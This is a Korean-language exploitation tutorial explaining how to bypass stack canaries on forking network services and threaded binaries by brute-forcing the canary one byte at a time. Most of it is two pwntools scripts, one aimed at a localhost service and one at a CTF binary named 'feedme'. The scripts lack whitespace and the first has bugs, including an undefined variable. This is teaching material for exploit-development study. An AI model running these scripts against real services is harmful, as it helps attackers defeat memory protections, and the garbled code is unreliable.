캐너리와 PIE (Position Independent Executable)로 보호된 이진 파일에 직면했다면 아마 그것들을 우회해야 할 방법을 찾아야 할 것입니다.
**checksec**가 이진 파일이 캐너리로 보호되었음을 찾지 못할 수 있습니다. 이는 정적으로 컴파일되었고 함수를 식별할 수 없는 경우입니다.
그러나 함수 호출 시작 시 스택에 값이 저장되고 이 값이 종료 전에 확인되는 경우, 이를 수동으로 알아차릴 수 있습니다.
브루트 포스 캐너리
단순한 캐너리를 우회하는 가장 좋은 방법은 이진 파일이 새로운 연결을 설정할 때마다 자식 프로세스를 분기하는 프로그램인 경우입니다(네트워크 서비스), 왜냐하면 연결할 때마다 동일한 캐너리가 사용될 것입니다.
그럼, 캐너리를 우회하는 가장 좋은 방법은 그냥 문자별로 브루트 포스하는 것이며, 추측한 캐너리 바이트가 올바른지 확인하기 위해 프로그램이 충돌했는지 또는 정상적인 흐름을 계속했는지 확인할 수 있습니다. 이 예제에서는 함수가 8바이트 캐너리(x64)를 브루트 포스하고 올바른 추측 바이트와 잘못된 바이트를 구분하기 위해 서버로부터 응답이 전송되었는지 확인합니다(다른 상황에서는 try/except를 사용할 수도 있습니다):
예제 1
이 예제는 64비트용으로 구현되었지만 32비트용으로 쉽게 구현할 수 있습니다.
from pwn import*defconnect():r =remote("localhost", 8788)defget_bf(base):canary =""guess =0x0base += canarywhilelen(canary)<8:while guess !=0xff:r =connect()r.recvuntil("Username: ")r.send(base +chr(guess))if"SOME OUTPUT"in r.clean():print"Guessed correct byte:",format(guess, '02x')canary +=chr(guess)base +=chr(guess)guess =0x0r.close()breakelse:guess +=1r.close()print"FOUND:\\x"+'\\x'.join("{:02x}".format(ord(c)) for c in canary)return basecanary_offset =1176base ="A"* canary_offsetprint("Brute-Forcing canary")base_canary =get_bf(base)#Get yunk data + canaryCANARY =u64(base_can[len(base_canary)-8:])#Get the canary
예제 2
이는 32비트용으로 구현되었지만 쉽게 64비트로 변경할 수 있습니다.
또한 이 예제에서는 프로그램이 먼저 입력의 크기를 나타내는 바이트를 예상합니다.
from pwn import*# Here is the function to brute force the canarydefbreakCanary():known_canary = b""test_canary =0x0len_bytes_to_read =0x21for j inrange(0, 4):# Iterate up to 0xff times to brute force all posible values for bytefor test_canary inrange(0xff):print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")# Send the current input sizetarget.send(len_bytes_to_read.to_bytes(1, "little"))# Send this iterations canarytarget.send(b"0"*0x20+ known_canary + test_canary.to_bytes(1, "little"))# Scan in the output, determine if we have a correct valueoutput = target.recvuntil(b"exit.")if b"YUM"in output:# If we have a correct value, record the canary value, reset the canary value, and move onprint(" - next byte is: "+hex(test_canary))known_canary = known_canary + test_canary.to_bytes(1, "little")len_bytes_to_read +=1break# Return the canaryreturn known_canary# Start the target processtarget =process('./feedme')#gdb.attach(target)# Brute force the canarycanary =breakCanary()log.info(f"The canary is: {canary}")
쓰레드
동일한 프로세스의 쓰레드는 또한 동일한 캐너리 토큰을 공유하므로, 바이너리가 공격이 발생할 때마다 새로운 쓰레드를 생성한다면 캐너리를 무차별 대입하여 찾을 수 있을 것입니다.